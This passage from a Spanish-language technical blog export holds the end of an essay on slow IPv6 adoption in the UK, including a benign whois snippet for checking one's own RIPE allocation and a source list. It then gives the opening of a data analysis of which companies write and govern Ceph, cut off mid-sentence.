resolverse a un abonado. Eso no se discute. El IETF lo escribió en 2011, Europol en 2016 y 2017, el Parlamento en 2015 — todo publicado antes de que se comprara la mayor parte de este equipo. La alternativa era gratis, y estaba disponible todo el tiempo.\nEso es lo que «ya nos ocuparemos de IPv6 algún día» significa, una vez que lo sigues hasta el final.\nQué hacer al respecto, en concreto Corto, porque nada de ello es difícil. Ese es el sentido de todo el artículo.\nSi compras conectividad: pon IPv6 en el pliego como un requisito de aprobado/suspenso, no un si-acaso. Pide doble pila nativa y un prefijo delegado, por escrito, y pregunta de qué tamaño.\nSi la respuesta es un solo /64, sigue preguntando. RFC 6177 mató eso en 2011: dar a un sitio doméstico un solo /64 «precludes the expectation that even home sites will grow to support multiple subnets» — excluye la expectativa de que incluso los sitios domésticos crezcan para soportar varias subredes —, y está «strongly intended that even home sites be given multiple subnets worth of space, by default» — fuertemente pretendido que incluso a los sitios domésticos se les dé espacio para varias subredes, por defecto.\nLo que no hizo fue nombrar un tamaño. Retiró el viejo /48 general, dijo que la elección «is an issue for the operational community» — es un asunto de la comunidad operativa —, y dejó un ejemplo trabajado al pasar: un valor por defecto doméstico «of less than /48, such as a /56» — de menos de un /48, como un /56.\nLos operadores lo respondieron ellos mismos. RIPE-690 es su propio documento de prácticas y es tajante. Un /48 cada uno si quieres un plan simple. Un /48 para negocio y un /56 para residencial si quieres uno pragmático. Cualquier cosa más larga que un /56 está «strongly discouraged» — fuertemente desaconsejada —, y un /64 no cumple los estándares de IPv6 y romperá las LAN de los clientes.\nAsí que el suelo es un /56, y es el propio número del IETF en vez de la preferencia de nadie. Sky ha dado uno a cada abonado desde 2016. Zen reparte un /48, que son 65 536. Un negocio no debería aceptar menos de un /48.\nSi un proveedor te dice que un /48 a una casa es extravagante, un ISP británico lleva años haciéndolo mientras ellos aún estaban averiguando su postura.\nSi corres un número de AS: probablemente ya tengas un /29 que nunca has anunciado. Comprueba.\nAS=AS20712 # your AS number ORG=$(whois -h whois.ripe.net \u0026#34;$AS\u0026#34; | awk \u0026#39;/^org:/{print $2; exit}\u0026#39;) # what IPv6 the registry has already given you whois -h whois.ripe.net -- \u0026#34;-i org $ORG\u0026#34; | grep -i \u0026#39;^inet6num\u0026#39; # what you are actually announcing of it whois -h whois.ripe.net -- \u0026#34;-i origin $AS\u0026#34; | grep -i \u0026#39;^route6\u0026#39; Si el primer comando imprime un prefijo y el segundo no imprime nada, eres uno de los 463.\nAnúncialo, pon doble pila en tu borde y una VLAN interna, y pon un AAAA en un servicio público. Eso es una quincena de trabajo para un ingeniero y convierte tu organización de una estadística en la tabla de arriba en una que ha empezado.\nSi corres un sitio web: comprueba si hay un registro AAAA. Si estás detrás de un CDN, probablemente sea un interruptor que puedes encender esta tarde sin coste. Si está apagado, alguien lo apagó.\nSi vendes servicios gestionados: escribe IPv6 en el estándar de construcción y la plantilla de diseño de bajo nivel, una vez, y cada cliente después de eso lo obtiene por defecto. Nadie tiene que pedirlo, porque nadie pide TLS tampoco.\nSi eres un ingeniero que nunca lo ha hecho: monta un laboratorio esta noche. Cerca del 90 % de mi propio tráfico corre sobre IPv6 nativo y es la cosa menos accidentada de mi red. Consigue un túnel o un VPS con un /64, pon direcciones en cosas, rómpelo, arréglalo. Lleva una tarde dejar de dar miedo y es la cosa más barata que puedes hacerle a tu carrera este año.\nLas preguntas que no puedo zanjar Todo lo de arriba te lo puedo mostrar. Esta parte es el trozo que sigo dándole vueltas, y no tengo una respuesta limpia a nada de ello.\n¿Por qué unos sí y otros no? Esta es la que importa, y los datos la hacen más extraña en vez de más clara.\nSky y Virgin Media vendieron banda ancha al mismo país, bajo el mismo regulador, al mismo tiempo. Uno terminó en 2016. El otro lleva diciendo «cuando estemos listos» desde 2010. Sainsbury\u0026rsquo;s y Tesco están en el mismo CDN, en un producto donde la doble pila es el valor por defecto, y uno tiene IPv6 y otro no. Noruega y Gran Bretaña compran a los mismos proveedores y el 66,9 % de las redes noruegas llevan IPv6 contra el 42,3 % de las nuestras.\nCada factor externo que podrías culpar se mantiene constante en esos pares. Mismo país, mismos proveedores, mismo equipo, mismos clientes, misma década, mismo regulador, mismo dinero. Y los resultados son opuestos.\nAsí que la causa no está en las circunstancias. Está dentro del edificio. En algún sitio de Sky había una persona que hizo de esto su asunto y siguió haciéndolo su asunto durante tres años. En los otros sitios no la había, o la había y a nadie por encima le importó. Esa es toda la variable, y no es una técnica.\nLo cual es una respuesta incómoda, porque no puedes comprarla, y no puedes ponerla en un documento de estrategia.\n¿Es la formación? En parte, y menos de lo que pensarías.\nMira otra vez las 463 empresas que tienen IPv6 que nunca han anunciado. Alguien en cada uno de esos edificios sabía lo bastante como para saber que lo necesitaba, sabía a quién preguntar, rellenó el formulario, y se lo emitieron. El conocimiento estaba ahí y la continuidad no.\nLa formación lleva a un ingeniero al punto de ser capaz. No lo lleva al punto de estar obligado a. Nadie ha tenido nunca una mala evaluación por no desplegar IPv6. Nadie ha perdido nunca un contrato por ello. Hasta que una de esas sea cierta, la formación va a la pila con todo lo demás que alguien aprendió en un curso y nunca usó.\n¿Cuánto hasta que estemos todos en él? Puedo poner un número a esta, y es peor de lo que esperaba.\nGoogle ha medido la proporción de sus propios visitantes que llegan por IPv6 desde 2008. Tomando mediados de agosto cada año, para que sea comparable:\nLa adopción mundial de IPv6 se desacelera antes de la mitad La adopción mundial de IPv6 se está frenando, no acelerando Proporción de los propios visitantes de Google que llegan por IPv6 nativo, a mediados de agosto cada año. Fuente: estadísticas IPv6 de Google. 0 % 10 % 20 % 30 % 40 % 50 % 2017 18,1 % 2018 2019 2020 2021 2022 2023 2024 2025 2026 48,1 % Puntos añadidos ese año +3,6 +5,0 +4,4 +3,3 +4,3 +3,3 +2,3 +2,6 +1,1 Este año añadió\u0026#160;1,1 puntos, la menor ganancia en una década, contra 6,6 puntos en el año hasta agosto de 2017. La medición de Google de sus propios visitantes que llegan por IPv6 nativo, tomada a mediados de agosto cada año para que sea comparable. La línea es el nivel. Las barras son lo que añadió cada año. No estamos acelerando hacia el final. Estamos desacelerando por debajo de la mitad. Este año añadió 1,1 puntos, la menor ganancia en una década, contra 6,6 puntos en el año hasta agosto de 2017.\nTraza una línea recta desde los últimos tres años y el mundo llega al 100 % en 2049. Trázala solo desde este año y es 2073. Ninguna es un pronóstico. Una curva que se aplana no llega a la cima por deriva en absoluto. Se estanca en algún sitio de los sesenta y el resto nunca se mueve, porque las redes que no lo han hecho para entonces son las que nada iba a mover nunca.\nMe encantaría estar equivocado sobre eso. El número se ha hecho más pequeño cada año que lo he mirado.\n¿Necesitamos una ley? Esta es sobre la que más he ido y venido, y he aterrizado en «no la ley que la gente busca».\nContra un mandato: los americanos aprobaron el más fuerte que nadie tiene, y lo incumplieron. Un plazo no es un despliegue.\nA favor de uno: el veredicto de despedida de 6UK en 2012 fue que los incentivos de libre mercado son insuficientes y que los países que se quedan atrás son los de gobiernos que no se meten. Catorce años de datos británicos están de acuerdo con ellos.\nY aquí está la parte que lo zanja. Este país ya ha legislado sobre este problema — solo que legisló en la dirección equivocada. Estuvimos dispuestos a legislar para acomodar el uso compartido de direcciones. Nunca hemos estado dispuestos a legislar para eliminarlo.\nLo que yo pediría no es una prohibición ni un objetivo, sino el instrumento belga descrito antes: un límite duro a cuántos abonados pueden compartir una dirección. No necesita direcciones nuevas, no deja a nadie fuera del mercado, y funciona sobre la economía en vez de sobre las buenas intenciones de nadie.\nUn mandato por sí solo produce una cosa útil, y no es el despliegue. Es una persona con nombre que tiene que explicar el incumplimiento. Nunca hemos tenido una de esas.\n¿Cómo nos pasamos a IPv4 tan rápido, entonces? Porque alguien podía apagar el viejo.\nLa comparación es exacta, y casi nadie la hace. ARPANET corría el Network Control Program, que direccionaba hosts en 8 bits — 6 para el nodo y 2 para el host, así que 64 nodos de 4 máquinas, 256 hosts en total. A finales de los años setenta eso obviamente no era suficiente, y la respuesta fue un protocolo nuevo con una dirección más grande. El mismo problema que tenemos ahora, cuarenta y pico años antes.\nJon Postel publicó el plan de transición en noviembre de 1981. En marzo de 1982 el Departamento de Defensa de EE. UU. declaró TCP/IP su estándar oficial. Ambos protocolos corrieron uno al lado del otro, y el 1 de enero de 1983 se apagó NCP. Los hosts que no se habían convertido perdieron el acceso a la red. Vint Cerf recuerda las chapas de «I survived the TCP/IP switchover» que después llevaba la gente que lo superó.\nCatorce meses del plan al día de la bandera.\nAhora cuenta lo que lo hizo posible. Unos pocos cientos de hosts, no cuatro mil millones. Una red, no cada red. Un financiador que poseía cada máquina en ella y pagaba los sueldos de todos los que las tocaban. Una sola organización capaz de fijar una fecha, y — esta es la parte que importa — capaz de hacer que el viejo protocolo dejara de funcionar en esa fecha.\nNada de esas cosas existe ahora, y esa es toda la respuesta. IPv4 no ganó porque la migración fuera fácil. Ganó porque había alguien en posición de acabar la discusión.\nNadie está en esa posición hoy. No hay autoridad que pueda apagar IPv4, y nunca la habrá. Lo que significa que esta transición no puede terminarse como se terminó la última — solo puede terminarse por varios miles de empresas cada una decidiendo, por su cuenta, molestarse.\nCon los números de este año, eso aterriza en 2073. Noventa años después del día de la bandera.\nSolíamos hacer las cosas como es debido Un estándar es algo que mantienes cuando nadie está comprobando. Eso es todo. No hay inspector para esto, no hay certificado, no hay auditor que se presente y pida ver tu tabla de enrutamiento, y veinte años han mostrado ahora exactamente lo que este país hace con una obligación que nadie hace cumplir.\nLa dejamos caer, y luego compramos algo para tapar el hueco.\nNada de eso es un fallo técnico y no fingiré que lo es. Gran Bretaña puede hacer este trabajo. Las habilidades están aquí, el equipo está aquí, el espacio de direcciones está emitido y sentado esperando en cuentas que ya estamos pagando. Lo que se ha ido es el instinto de hacer un trabajo como es debido porque es el trabajo — sin que te paguen extra por ello, y sin que alguien esté de pie sobre ti obligándote.\nPregunta qué lo detiene de verdad y aterrizas en el dinero, pero no de la manera que la gente quiere decir.\nUn NAT a escala de operador tiene una orden de compra. Tiene un proveedor, un presupuesto, un descuento, un contrato de soporte y una fecha de renovación. Va en el plan de capital, se amortiza a lo largo de cinco años, y el nombre de alguien está en el caso de negocio. Entregarlo es una cosa visible a la que un jefe puede señalar en una evaluación.\nIPv6 no tiene nada de eso. Sin factura, sin proveedor, sin renovación, nada que poner en un presupuesto y nada que a alguien se le vea haber comprado. Es solo trabajo, hecho como es debido, por gente que sabe lo que hace, sin retorno este trimestre. A nadie en esta industria lo han ascendido nunca por una cosa que nunca apareció en un presupuesto.\nComo tal la opción más barata pierde, cada año, durante veinte años. No porque alguien lo sopesara y eligiera mal, sino porque aquí ha crecido una cultura de gestión que solo puede ver las partes de la ingeniería que llegan con un precio encima. Barato nunca fue el obstáculo. Infacturable lo fue. Eso es lo que parece cuando un negocio deja de preocuparse por los estándares y empieza a preocuparse solo por lo que puede poner en una factura, y es una elección hecha por gente pagada lo bastante bien como para saber más.\nLuego está lo que nos vendieron en vez de una dirección, que debería enfadar a la gente más de lo que lo hace.\nInternet se construyó para que cualquier máquina pudiera llegar a cualquier otra máquina directamente. No un detalle del diseño. El diseño. Es por lo que cualquiera con una conexión y una idea podía poner algo en pie que el mundo entero pudiera alcanzar. Pon a un cliente detrás de una dirección compartida y eso se acabó. Puedes preguntar, pero nunca puedes responder. Eres un consumidor de los servicios de otros, permanentemente, y nunca un proveedor de los tuyos.\nEso no es un desafortunado efecto secundario de una escasez. Es una re-arquitectura, y le conviene a todos los que la venden. La cámara que ahora necesita la nube del fabricante. El acceso remoto que ahora necesita el relé de alguien. La cosa que la gente solía correr en casa que ahora es una suscripción mensual. Cada una de esas es alguien que poseía una cosa siendo convertido en alguien que la alquila, y una conexión degradada en silencio de un sitio en internet a una ventana a la de otro.\nRegalamos el medio de internet a un puñado de empresas en otro continente, y luego nos quedamos parados con cara de sorpresa de que acabara centralizado. No puedes ser autosuficiente en una conexión que no te deja alojar nada.\nLa autosuficiencia es la parte a la que sigo volviendo, porque este país ha dejado de esperarla de sí mismo. El instinto ahora es esperar. A un proveedor, un regulador, una subvención, un mandato, un cliente que llama y pregunta. Ninguno de esos viene. No hay señal de mercado en camino, ni política en redacción, ni plazo que alguien tenga que explicar por incumplir.\nLo que lo deja donde ha estado todo el tiempo. Una asignación gratis, sentada en una cuenta de registro con el nombre de tu empresa, y una quincena entre tú y haber hecho el trabajo bien.\nNadie viene a obligarte. Eso es exactamente por lo que cuenta.\nPuedes comprobar si es tu edificio. El script está en la descarga al principio del artículo.\nFuentes Todo lo de abajo se recuperó el 27 de agosto de 2026.\nLos datos de los que medí. Cada número mío viene de estos. Son gratis, son públicos, y puedes repetir todo el asunto en una tarde.\nFicheros de delegación del registro, uno por registro regional: RIPE NCC, APNIC, ARIN, LACNIC, AFRINIC. El de RIPE se generó el 26 de agosto de 2026, el resto el 27 de agosto de 2026. Volcados de la tabla de enrutamiento RIS de RIPE, riswhoisdump.IPv4.gz y riswhoisdump.IPv6.gz, generados a las 18:06 UTC del 27 de agosto de 2026. Interfaz REST de la base de datos de RIPE, para la organización detrás de cada número de AS. El DNS público, para el barrido de AAAA, cotejado contra un segundo resolutor. Mediciones de otros.\nEstadísticas de IPv6 de Google — IPv6 nativo por país entre los propios visitantes de Google, cifras a 25 de agosto de 2026. APNIC sobre el rendimiento de IPv6 y sobre los malentendidos de seguridad de IPv6 — el cuadro medido en vez del del foro. Precios del mercado de transferencia de IPv4, primera mitad de 2026, resumiendo el análisis de CircleID de transacciones con precio público. Estándares. Los apaños, en el orden en que se publicaron.\nRFC 3056 — túnel automático 6to4, febrero de 2001. RFC 3701 — el plan de retirada de la 6bone, fijando su apagado para el 6 de junio de 2006. RFC 7526 — dejando obsoletos los relés anycast de 6to4 y moviéndolos a Histórico, mayo de 2015. RFC 4864 — lo que el NAT da y no da, y por qué el cortafuegos que la gente cree tener es «un artefacto arbitrario», 2007. RFC 4941, RFC 7217 y RFC 8981 — direcciones temporales y opacas, que es por lo que la dirección IPv6 de un dispositivo no es un identificador estable. RFC 801 — el plan de transición NCP/TCP de Jon Postel, noviembre de 1981, fijando el día de la bandera del 1 de enero de 1983. RFC 1883 — la especificación original de IPv6, diciembre de 1995. RFC 6333 — DS-Lite, 2011. RFC 6056 — aleatorización del puerto de origen, la defensa que el CGN debilita, 2011. RFC 6269 — Issues with IP Address Sharing, junio de 2011. El propio catálogo del IETF de lo que el CGN rompe, incluidos el registro de abusos, los rincones de penalización, las listas negras, la aleatorización de puertos y la trazabilidad. RFC 791 y RFC 8200 — los dos formatos de cabecera, y por qué IPv6 quitó la suma de comprobación, la longitud variable y la fragmentación en vuelo. RFC 6583 — el agotamiento de la caché de descubrimiento de vecinos en un /64, y la división plano-de-reenvío contra plano-de-control que decide qué le cuesta CPU a un router. RFC 6177 — cuánto espacio de direcciones debería obtener un sitio final, 2011. Deja obsoleto el /48 general del RFC 3177, descarta el /64 único, y entrega el número real a la comunidad operativa. RIPE-690 — la propia respuesta de los operadores europeos a esa pregunta, octubre de 2017: /48 o /56 a un usuario final, nunca un /64. RFC 6302 — registra el puerto de origen, la marca de tiempo y el protocolo, 2011. RFC 6598 — espacio de direcciones compartido, 2012. RFC 6877 — 464XLAT, 2013. RFC 6888 — requisitos del NAT a escala de operador, 2013. RFC 7021 — el impacto del NAT a escala de operador en las aplicaciones, 2013. RFC 7422 — mapeo determinista para recortar el registro del CGN, 2014. RFC 7597 y RFC 7599 — MAP-E y MAP-T, 2015. World IPv6 Launch, 6 de junio de 2012. El corredor de túneles gratis de Hurricane Electric — donde muchos de nosotros conseguimos IPv6 mientras nuestros propios ISP no tenían ninguno. Ley y política.\nCyber Security and Resilience (Network and Information Systems) Bill 2024-26 — informe de la House of Commons Library sobre el proyecto de ley que traería a los proveedores de servicios gestionados dentro de las NIS Regulations. Counter-Terrorism and Security Act 2015, sección 21 — retención de datos de internet relevantes, y sus notas explicativas. Europol, octubre de 2017 — las fuerzas del orden pidiendo el fin del NAT a escala de operador, con las cifras del 90 % móvil y el 50 % fijo. Memorándum M-21-07 de la OMB — el requisito federal estadounidense de solo-IPv6, noviembre de 2020. Online Safety Act 2023. Europol EC3, Carrier Grade NAT and crime attribution online — la presentación de Gregory Mounier ante RIPE 74, con la encuesta de agosto de 2016 a las fuerzas del orden de la UE, los ejemplos de casos, y el código de conducta belga y sus resultados. Datos de la CyberTipline de NCMEC — volúmenes y referencias del informe de 2025. A Multi-perspective Analysis of Carrier-Grade NAT Deployment, ACM IMC 2016 — la medición independiente del uso de CGN por proveedores móviles y fijos. Esquema de tarifas del RIPE NCC 2026 — 1 800 EUR por cuenta LIR, plano. Proveedores, en sus propias palabras.\nAkamai, junio de 2022 — la doble pila es el valor por defecto y los clientes tienen que optar por salirse de ella. AWS, 2023 — el cargo por IPv4 pública, y por qué. Reportajes y el registro.\nEl propio artículo de Sky en RIPE Labs — cómo se movieron cinco millones de usuarios. ISPreview, septiembre de 2016 — Sky completando el despliegue. CircleID, septiembre de 2016 — el premio Jim Bound IPv6. ISPreview, diciembre de 2012 — 6UK disolviéndose. Encuesta de IPv6 y CGNAT de altnets de ISPreview — abril de 2024, actualizada a marzo de 2025. ISPreview sobre la prueba de IPv6 de Plusnet, noviembre de 2023 — la prueba de 2011, el lanzamiento de 2020 incumplido, y la nota de que BT y Plusnet entregan routers casi idénticos. Un rastreador mantenido por la comunidad de las redes móviles británicas e IPv6 — reportado por usuarios en vez de oficial, y la fuente de qué redes móviles reparten IPv6 hoy. havevirginmediaenabledipv6yet.co.uk — la cronología de Virgin Media, de 2010 a ahora. Internet Society, septiembre de 2016 — Sky al 90 % de su base, cada abonado recibiendo un /56. Internet Society, septiembre de 2016 — el relato de Ron Broersma de la migración de NCP a TCP/IP de 1983, incluido el límite de 256 hosts y qué le pasó a quien incumplió el plazo. The Register, enero de 2013 — treinta años después del día de la bandera, y las chapas que la gente llevaba después. UK IPv6 Council. ","permalink":"https://blogs.damiendye.uk/es/networking/we-never-ran-out-of-addresses/","summary":"IPv6 está terminado, es gratis y viene encendido por defecto en cada sistema operativo desde hace casi veinte años. La respuesta del Reino Unido fue el NAT a escala de operador, una ley sobre el registro de logs, y £5 al mes por devolverte la dirección que solías tener. Conté cada red británica de la tabla de enrutamiento global para averiguar quién ha encendido IPv6 de verdad — 1 200 de ellas no lo han hecho, y 463 de esas están sentadas sobre espacio de direcciones que pidieron y nunca usaron.","title":"Nunca nos quedamos sin direcciones. Nos quedamos sin ganas."},{"content":"Divulgación de entrada: trabajo para croit, que vende Ceph y aparece en las tablas de abajo. He intentado ser tan crítico con nosotros como con todos los demás. Cada número viene del historial git público, de los propios registros de Ceph en el árbol, o de una declaración pública con nombre — todo reproducible, todo listado en las referencias al final.\nCeph sostiene mucho equipo en el que nadie piensa. Clústeres Proxmox, OpenStack, Kubernetes, laboratorios nacionales de investigación, bancos, telcos, aceleradores de partículas. Veinte años después, sigue siendo la primera respuesta cuando alguien quiere almacenamiento de bloque, archivo y objeto desde un clúster construido con hardware corriente.\nEntonces, ¿quién lo escribe, quién lo mantiene, y quién lo ejecuta?\nNo «quién está en la lista de correo» ni «quién habló en la Cephalocon». Cloné ceph/ceph, tomé cada commit sin merge escrito en los diez años hasta 2026-08-27, y mapeé los autores sobre empresas usando el propio .organizationmap de Ceph más un conjunto documentado de correcciones. Luego tomé el archivo de gobernanza de Ceph en el árbol y rastreé los 38 miembros del Steering Committee hasta el empleador de su propia dirección publicada. Luego fui a buscar quién dice públicamente que lo ejecuta.\nEso suma 69 613 commits de 1 718 personas en 478 organizaciones. Es una imagen mejor de la que esperaba al empezar, y no la que me había propuesto escribir.\nLa década Puesto Organización Commits Cuota 1 Red Hat 42 354 60,8 % 2 SUSE 6 191 8,9 % 3 IBM 4 308 6,2 % 4 Intel 2 066 3,0 % 5 ZTE 1 176 1,7 % 6 QiAnXin 900 1,3 % 7 Ceph Foundation 691 1,0 % 8 Mirantis 566 0,8 % 9 IONOS 498 0,7 % 10 China Mobile 397 0,6 % 11 Proxmox 254 0,4 % 12 croit 242 0,3 % 13 Cloudbase Solutions 239 0,3 % 14 Bloomberg 231 0,3 % 15 XSKY 225 0,3 % — Clyso 181, Huawei 159, Inspur 155, Cafe Bazaar 130, CERN 121, SK Telecom 120, UMCloud 106, Deutsche Telekom 105, EasyStack 103, ISCAS 99, Tencent 83, y 460 organizaciones más — Sin empleador visible en la dirección 6 295 9,0 % Las filas 1 y 3 son el mismo equipo. El 4 de octubre de 2022 Red Hat e IBM anunciaron que todo el equipo de Ceph de Red Hat pasaba a IBM, con IBM asumiendo el patrocinio de la Foundation de Red Hat y ayudando a financiar el laboratorio de pruebas de upstream. La gente no cambió; sus direcciones de correo siguen migrando, un ingeniero cada vez, cuatro años después.\nSúmalos: 46 662 commits. 67,0 % de la década.\nDetente en eso antes que en nada más, porque es el trato que hace que Ceph exista. Una empresa ha pagado a docenas de ingenieros para construir y cuidar almacenamiento distribuido que luego regala. Diez años de ello, a través de dos adquisiciones y un cambio de matriz. Nadie los obligó.\nLos últimos tres años Puesto Organización Commits Cuota 1 Red Hat 7 273 45,0 % 2 IBM 3 818 23,6 % 3 QiAnXin 597 3,7 % 4 Ceph Foundation 526 3,3 % 5 IONOS 498 3,1 % 6 Intel 279 1,7 % 7 Proxmox 249 1,5 % 8 Bloomberg 220 1,4 % 9 croit 157 1,0 % 10 Clyso 153 0,9 % 11 Cafe Bazaar 118 0,7 % 12 ISCAS (Institute of Software, Chinese Academy of Sciences) 99 0,6 % — Sin empleador visible en la dirección 2 008 12,4 % 16 160 commits. Red Hat más IBM: 11 091, o el 68,6 %.\nLa cuota de una sola empresa en Ceph, a lo largo de una década y de tres años La cuota no se mueve. Lo que hay dentro, sí. Diez años hasta 2026-08-27 69\u0026#160;613 commits Red Hat\u0026#160;\u0026#160;60,8 % IBM 6,2 % SUSE 8,9 % todos los demás\u0026#160;\u0026#160;24,1 % Red Hat + IBM: 46\u0026#160;662 commits, 67,0 % Últimos tres años 16\u0026#160;160 commits Red Hat\u0026#160;\u0026#160;45,0 % IBM\u0026#160;\u0026#160;23,6 % SUSE: 13 todos los demás\u0026#160;\u0026#160;31,4 % Red Hat + IBM: 11\u0026#160;091 commits, 68,6 % SUSE fue el segundo mayor contribuyente de la década. En los últimos tres años escribió 13 commits, y en 2025 y 2026 ninguno en absoluto. La cuota de una sola empresa apenas se mueve entre la década y la ventana reciente — 67,0 % frente a 68,6 %. Lo que cambia es todo lo que la rodea. La resiliencia de la que nadie habla Aquí está la parte que no esperaba, y es lo mejor de todo el ejercicio.\nCeph ya ha sobrevivido a los dos eventos que estos datos te dirían que temieras, y no se inmutó.\nSu creador, Sage Weil, escribió 7 517 commits en la década — más que cualquier organización salvo Red Hat, SUSE e IBM. Solo en 2017 escribió 2 184 commits, el 21,5 % del proyecto entero él solo. Se apartó en octubre de 2021 tras 17 años; su último commit lleva fecha 2022-01-20.\nSu segundo mayor contribuyente de la década, SUSE, escribió 6 191 commits y llegó a un pico de 1 839 en un año. Luego canceló SUSE Enterprise Storage por Longhorn de Rancher y se retiró: 463 en 2021, 110 en 2022, 14 en 2023, 10 en 2024, nada desde entonces.\nAmbos dentro de los mismos cinco años. Si un proyecto tan concentrado fuera frágil, ahí es cuando se habría partido.\nNo lo hizo. El ritmo de commits este año es de 14,6 al día frente a 14,8 el año pasado. Plano. Los lanzamientos siguieron llegando. La gobernanza se reconstruyó en un Executive Council y un Steering Committee de 38 personas, y aguantó.\nAño Commits totales Red Hat + IBM Cuota Todos los demás 2016 10 286 5 834 56,7 % 4 452 2017 10 158 6 942 68,3 % 3 216 2018 8 099 5 265 65,0 % 2 834 2019 9 000 5 934 65,9 % 3 066 2020 8 361 5 230 62,5 % 3 131 2021 7 381 4 517 61,1 % 2 864 2022 4 731 2 937 62,0 % 1 794 2023 4 634 3 315 71,5 % 1 319 2024 5 410 3 571 66,0 % 1 839 2025 5 389 3 730 69,2 % 1 659 2026 3 495 2 329 66,6 % 1 166 (2026 llega hasta el 27 de agosto, unos ocho meses.)\nEntre el 57 y el 72 por ciento de un solo fabricante, cada año durante una década. El volumen ha bajado desde el pico de 2016, que es lo que pasa cuando un proyecto deja de reconstruir sus cimientos y empieza a cuidarlos. Los últimos tres años están planos, o una pizca al alza.\nVolumen de commits de Ceph por año — la cuota aguanta, el total se reduce a la mitad Commits por año, y quién los escribió Rama main de Ceph, commits sin merge, por fecha de autor 0 3k 6k 9k 12k 2016 57% 2017 68% 2018 65% 2019 66% 2020 63% 2021 61% 2022 62% 2023 72% 2024 66% 2025 69% 2026* 67% Red Hat + IBM — un solo equipo desde octubre de 2022 todos los demás Pico de SUSE: 1\u0026#160;839 Se va Sage Weil SUSE: 110 en 2022, 14 en 2023, 0 en 2026 * 2026 llega hasta el 27 de agosto; trazado a su ritmo actual de 14,6 commits al día, frente a 14,8 en 2025. Volumen de commits por año, repartido entre el equipo de Red Hat/IBM y todos los demás. Marcados: el pico y la salida de SUSE, y la marcha de Sage Weil. Ceph absorbió ambos sin un cambio de cadencia. Ceph sobrevivió a las empresas que lo construyeron Esta es la historia real de la década, y no se puede ver en una ventana de tres años en absoluto.\nMira las filas 2, 5, 8, 10, 13 y 15. SUSE, ZTE, Mirantis, China Mobile, Cloudbase Solutions, XSKY — más Inspur, EasyStack, UMCloud, Kylin, UnitedStack, Xtao, Istuary y más abajo. Entre ellas, bastante más de 10 000 commits. Casi todo se ha detenido.\nSUSE: 6 191 commits, pico en 2020, ahora cero. ZTE: 1 176 commits, 1 071 solo en 2016, último commit en 2020. Mirantis: 566 commits, desaparecida. XSKY, EasyStack, Inspur, UMCloud, Kylin, UnitedStack: la cohorte de almacenamiento de la era OpenStack, todas retiradas. Cada una de esas era una empresa apostando un producto por Ceph. Los productos se cancelaron o pivotaron. Y Ceph sigue aquí, publicando al mismo ritmo, con su código todavía en el árbol y otro cuidándolo.\nLa mejor ilustración es el dashboard. A lo largo de la década, src/pybind/mgr/dashboard tiene esta pinta:\nsrc/pybind/mgr/dashboard, diez años Commits Cuota SUSE 1 408 36,6 % Red Hat 1 177 30,6 % IBM 734 19,1 % Sin empleador visible 478 12,4 % El dashboard de Ceph fue mayormente trabajo de SUSE. SUSE luego dejó el proyecto por completo. En los últimos tres años el mismo directorio es 57,5 % IBM y 30,3 % Red Hat, y el dashboard sigue publicándose y sigue ganando funciones.\nEso es el desarrollo upstream-first haciendo el trabajo exacto para el que existe. Un fabricante puso mucho, el fabricante se fue, y los usuarios se quedaron el software. Si SUSE hubiera construido ese dashboard como una capa cerrada atornillada por encima, como habrían hecho muchos fabricantes de almacenamiento, habría muerto con la línea de producto. En su lugar fue a upstream, así que vivió.\nLa próxima década la están construyendo varias empresas a la vez Crimson es la reescritura desde cero del OSD — el demonio que posee tus discos — sobre el framework Seastar, dirigida al modelo de hilo por núcleo que exige el NVMe moderno. Es la mayor apuesta por los próximos diez años de Ceph. A lo largo de la década:\nsrc/crimson, diez años Commits Cuota Red Hat 3 038 52,1 % Intel 1 269 21,8 % QiAnXin 824 14,1 % Sin empleador visible 450 7,7 % Y en los últimos tres años, Red Hat e IBM juntos son una minoría de él, con el 45,4 %, con QiAnXin en el 28,4 % e Intel en el 13,4 %.\nLo más importante que se está construyendo en Ceph ahora mismo de verdad es un trabajo de varias empresas. No la hoja de ruta de un fabricante con unos pocos contribuyentes atornillados — tres organizaciones haciendo ingeniería pesada sobre el mismo subsistema, en público, durante años.\nQiAnXin merece una nota, porque no es un nombre que la mayoría de la gente de almacenamiento conozca. Es una empresa china de ciberseguridad empresarial, fundada como filial de Qihoo 360 en 2014 y escindida hacia 2016; Qihoo 360 vendió su participación restante del 22,6 % a firmas afiliadas a China Electronics Corporation en abril de 2019, y CEC tenía el 38,3 % para la presentación de la salida a bolsa de 2020. La historia corporativa es legible en el log de git: su contribuyente principal, Xuehan Xu, tiene commits bajo @360.cn en 2017 y 2018 y @qianxin.com desde 2021. Una empresa de seguridad sin producto de almacenamiento que vender ha puesto 900 commits en el futuro OSD de Ceph. Eso es un proyecto abierto funcionando como pone en la etiqueta.\nQuién mantiene Ceph, y quién les paga Escribir código es una cosa; tener las llaves es otra. Ceph guarda su gobernanza en el repositorio, en doc/governance.rst, y el Ceph Steering Committee está listado ahí por nombre y correo. Eso hace que la pregunta de mantenedor-a-empleador sea contestable desde una fuente primaria en vez de por conjetura.\nTreinta y ocho asientos, rastreados hasta el empleador en la propia dirección listada de cada miembro:\nEmpleador Asientos Red Hat 16 IBM 9 Clyso 3 Dirección personal (Anthony D\u0026rsquo;Atri, Myoungwon Oh) 2 croit — Igor Fedotov 1 Bloomberg — Joseph Mundackal 1 Intel — Yingxin Cheng 1 Ceph Foundation — Zac Dover 1 XSKY — Haomai Wang 1 ZTE — Xie Xingguo 1 Ubiquiti — Yehuda Sadeh 1 11:11 Systems — David Orman 1 Red Hat e IBM tienen 25 de 38 asientos — el 65,8 %. Frente al 67,0 % de los commits de la década y el 68,6 % de los últimos tres años. El órgano de gobernanza refleja el código casi exactamente, que es la manera sana: quienes hacen el trabajo tienen la voz, y como tal nadie tiene un veto que no se haya ganado.\nAsientos del Ceph Steering Committee por empleador — 25 de 38 son de una sola empresa Quién mantiene Ceph, según quién les paga 38 asientos en el Ceph Steering Committee, según la dirección que cada miembro lista en doc/governance.rst Red Hat IBM Clyso dirección personal un asiento cada uno 16 9 3 2 8 croit, Bloomberg, Intel, Ceph Foundation, XSKY, ZTE, Ubiquiti, 11:11 Systems Red Hat + IBM: 25 de 38 asientos, 65,8 % Frente al 67,0 % de los commits de la década y el 68,6 % de los últimos tres años. El comité refleja el código. XSKY y ZTE todavía tienen asientos. Ninguna de las dos ha hecho un commit a Ceph desde 2020. Cinco de los 38 no tienen commit desde 2021, o ninguno. Dirigir no es lo mismo que escribir código \u0026#8212; pero dos de esos asientos pertenecen a empresas que han dejado el 